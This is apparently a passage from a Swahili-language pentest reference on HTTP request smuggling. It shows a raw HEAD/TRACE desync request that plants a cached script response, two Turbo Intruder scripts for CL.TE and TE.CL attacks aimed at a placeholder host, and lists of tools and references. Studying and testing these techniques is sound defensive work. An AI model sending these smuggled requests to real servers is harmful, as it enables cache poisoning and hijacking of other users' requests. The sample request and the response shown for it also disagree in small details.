Kuendelea kufuata this post kunapendekezwa kama njia nyingine ya kutumia vibaya TRACE method. Kama ilivyoelezwa, kwa smuggling a HEAD request na a TRACE request inawezekana kudhibiti baadhi ya reflected data katika response ya HEAD request. Urefu wa body ya HEAD request unaashiriwa katika header ya Content-Length na unaundwa na response ya TRACE request.

Hivyo, wazo jipya ni kwamba, ukijua Content-Length hii na data iliyo katika TRACE response, inawezekana kufanya TRACE response ije na valid HTTP response baada ya byte ya mwisho ya Content-Length, ikimuruhusu mshambuliaji kudhibiti kabisa request kwa response inayofuata (ambayo inaweza kutumika kufanya cache poisoning).

Example:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Itatengeneza majibu haya (tazama jinsi jibu la HEAD lina Content-Length linalofanya jibu la TRACE kuwa sehemu ya mwili wa HEAD na mara Content-Length ya HEAD inapomaliza jibu halali la HTTP linafichwa):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

Kuweka kama silaha HTTP Request Smuggling kwa kutumia HTTP Response Desynchronisation

Je, umepata udhaifu wa HTTP Request Smuggling na haujui jinsi ya ku-exploit? Jaribu njia hizi nyingine za exploitation:

HTTP Response Smuggling / Desync

Mbinu Nyingine za HTTP Request Smuggling

• Browser HTTP Request Smuggling (Client Side)

Browser HTTP Request Smuggling

• Request Smuggling in HTTP/2 Downgrades

Request Smuggling in HTTP/2 Downgrades

Turbo intruder scripts

CL.TE

Kutoka https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

Kutoka: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Zana

• HTTP Hacker (Burp BApp Store) – onyesha kuunganisha/uframu na tabia ya HTTP ya ngazi ya chini
• https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
• https://github.com/anshumanpattnaik/http-request-smuggling
• https://github.com/PortSwigger/http-request-smuggler
• https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
• https://github.com/defparam/smuggler
• https://github.com/Moopinger/smugglefuzz
• https://github.com/bahruzjabiyev/t-reqs-http-fuzzer: Zana hii ni grammar-based HTTP Fuzzer inayotumika kugundua utofauti usio wa kawaida wa request smuggling.

Marejeleo

• https://portswigger.net/web-security/request-smuggling
• https://portswigger.net/web-security/request-smuggling/finding
• https://portswigger.net/web-security/request-smuggling/exploiting
• https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4
• https://github.com/haroonawanofficial/HTTP-Desync-Attack/
• https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html
• https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/
• https://portswigger.net/research/trace-desync-attack
• https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/
• Tahadhari kuhusu false false‑positive: jinsi ya kutofautisha HTTP pipelining na request smuggling – https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling
• https://http1mustdie.com/
• Browser‑Powered Desync Attacks – https://portswigger.net/research/browser-powered-desync-attacks
• PortSwigger Academy – client‑side desync – https://portswigger.net/web-security/request-smuggling/browser/client-side-desync